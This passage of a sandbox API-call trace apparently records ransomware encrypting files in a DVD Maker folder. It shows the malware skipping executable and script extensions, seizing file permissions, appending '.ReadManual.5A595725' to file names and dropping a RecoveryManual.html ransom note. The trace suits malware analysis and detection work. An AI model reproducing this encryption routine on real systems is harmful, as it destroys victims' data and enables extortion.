(hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0252.518] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0252.519] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.519] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.522] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.522] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0252.522] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.522] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37319069382) returned 1 [0252.522] CloseHandle (hObject=0x1a0) returned 1 [0252.522] SetSecurityInfo () returned 0x5 [0252.522] SetSecurityInfo () returned 0x5 [0252.522] LocalFree (hMem=0x674d38) returned 0x0 [0252.522] CloseHandle (hObject=0x184) returned 1 [0252.524] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0252.524] lstrcpyW (in: lpString1=0x6ab906, lpString2="pushplaysubpicture.png" | out: lpString1="pushplaysubpicture.png") returned="pushplaysubpicture.png" [0252.524] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.524] StrStrIW (lpFirst="pushplaysubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.524] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.524] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.524] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.524] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.524] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.524] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.524] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.524] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.524] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.524] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.524] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.524] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.525] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.525] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.525] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" [0252.525] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.ReadManual.5A595725" [0252.525] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.ReadManual.5A595725") returned 95 [0252.525] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37319349990) returned 1 [0252.525] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png")) returned 0x20 [0252.525] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.525] GetLastError () returned 0x5 [0252.525] GetNamedSecurityInfoW () returned 0x0 [0252.525] SetNamedSecurityInfoW () returned 0x0 [0252.526] SetNamedSecurityInfoW () returned 0x0 [0252.527] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.527] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2962) returned 1 [0252.527] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb92, lpName=0x0) returned 0x1a0 [0252.527] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0252.528] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.528] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.530] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.530] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb92) returned 0x2f0000 [0252.530] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.530] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37319871910) returned 1 [0252.530] CloseHandle (hObject=0x1a0) returned 1 [0252.530] SetSecurityInfo () returned 0x5 [0252.530] SetSecurityInfo () returned 0x5 [0252.530] LocalFree (hMem=0x674d38) returned 0x0 [0252.530] CloseHandle (hObject=0x184) returned 1 [0252.530] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0252.530] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0252.530] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.530] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="Heart_ButtonGraphic.png" | out: lpString1="Heart_ButtonGraphic.png") returned="Heart_ButtonGraphic.png" [0252.531] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.531] StrStrIW (lpFirst="Heart_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.531] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.531] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.531] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.531] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.531] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.531] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.531] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.531] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.531] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.531] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.531] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.531] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.531] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.531] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.531] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" [0252.531] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.ReadManual.5A595725" [0252.531] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.ReadManual.5A595725") returned 91 [0252.531] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37319983177) returned 1 [0252.531] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png")) returned 0x20 [0252.532] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.532] GetLastError () returned 0x5 [0252.532] GetNamedSecurityInfoW () returned 0x0 [0252.532] SetNamedSecurityInfoW () returned 0x0 [0252.533] SetNamedSecurityInfoW () returned 0x0 [0252.534] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.534] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30138) returned 1 [0252.534] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x75ba, lpName=0x0) returned 0x184 [0252.534] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0252.535] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.535] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.536] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.537] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x75ba) returned 0x2f0000 [0252.537] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.537] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37320587035) returned 1 [0252.537] CloseHandle (hObject=0x184) returned 1 [0252.537] SetSecurityInfo () returned 0x5 [0252.537] SetSecurityInfo () returned 0x5 [0252.537] LocalFree (hMem=0x674d38) returned 0x0 [0252.537] CloseHandle (hObject=0x194) returned 1 [0252.537] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0252.537] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" [0252.538] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0252.538] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0252.539] CloseHandle (hObject=0x194) returned 1 [0252.539] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0252.539] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="heart_glass_Thumbnail.bmp" | out: lpString1="heart_glass_Thumbnail.bmp") returned="heart_glass_Thumbnail.bmp" [0252.540] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="RecoveryManual.html") returned -1 [0252.540] StrStrIW (lpFirst="heart_glass_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.540] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0252.540] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0252.540] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0252.540] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" [0252.540] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.ReadManual.5A595725" [0252.540] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.ReadManual.5A595725") returned 93 [0252.540] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37320881839) returned 1 [0252.540] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp")) returned 0x20 [0252.540] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.540] GetLastError () returned 0x5 [0252.540] GetNamedSecurityInfoW () returned 0x0 [0252.541] SetNamedSecurityInfoW () returned 0x0 [0252.541] SetNamedSecurityInfoW () returned 0x0 [0252.542] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.542] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0252.542] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0252.542] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xca) returned 1 [0252.543] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.543] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.545] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.545] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0252.545] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.545] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37321401314) returned 1 [0252.545] CloseHandle (hObject=0x184) returned 1 [0252.545] SetSecurityInfo () returned 0x5 [0252.545] SetSecurityInfo () returned 0x5 [0252.545] LocalFree (hMem=0x674d38) returned 0x0 [0252.545] CloseHandle (hObject=0x194) returned 1 [0252.546] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.546] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="Heart_SelectionSubpicture.png" | out: lpString1="Heart_SelectionSubpicture.png") returned="Heart_SelectionSubpicture.png" [0252.546] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.546] StrStrIW (lpFirst="Heart_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.546] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.546] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.546] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.546] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.546] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.546] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.546] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.546] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.546] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.547] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.547] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.547] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.547] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.547] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.547] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" [0252.547] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.ReadManual.5A595725" [0252.547] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.ReadManual.5A595725") returned 97 [0252.547] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37321552365) returned 1 [0252.547] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png")) returned 0x20 [0252.547] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.547] GetLastError () returned 0x5 [0252.547] GetNamedSecurityInfoW () returned 0x0 [0252.547] SetNamedSecurityInfoW () returned 0x0 [0252.548] SetNamedSecurityInfoW () returned 0x0 [0252.549] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.549] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4728) returned 1 [0252.549] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1278, lpName=0x0) returned 0x184 [0252.549] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0252.550] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.550] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.552] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.552] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1278) returned 0x2f0000 [0252.552] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.552] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37322075202) returned 1 [0252.552] CloseHandle (hObject=0x184) returned 1 [0252.552] SetSecurityInfo () returned 0x5 [0252.552] SetSecurityInfo () returned 0x5 [0252.552] LocalFree (hMem=0x674d38) returned 0x0 [0252.552] CloseHandle (hObject=0x194) returned 1 [0252.553] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, 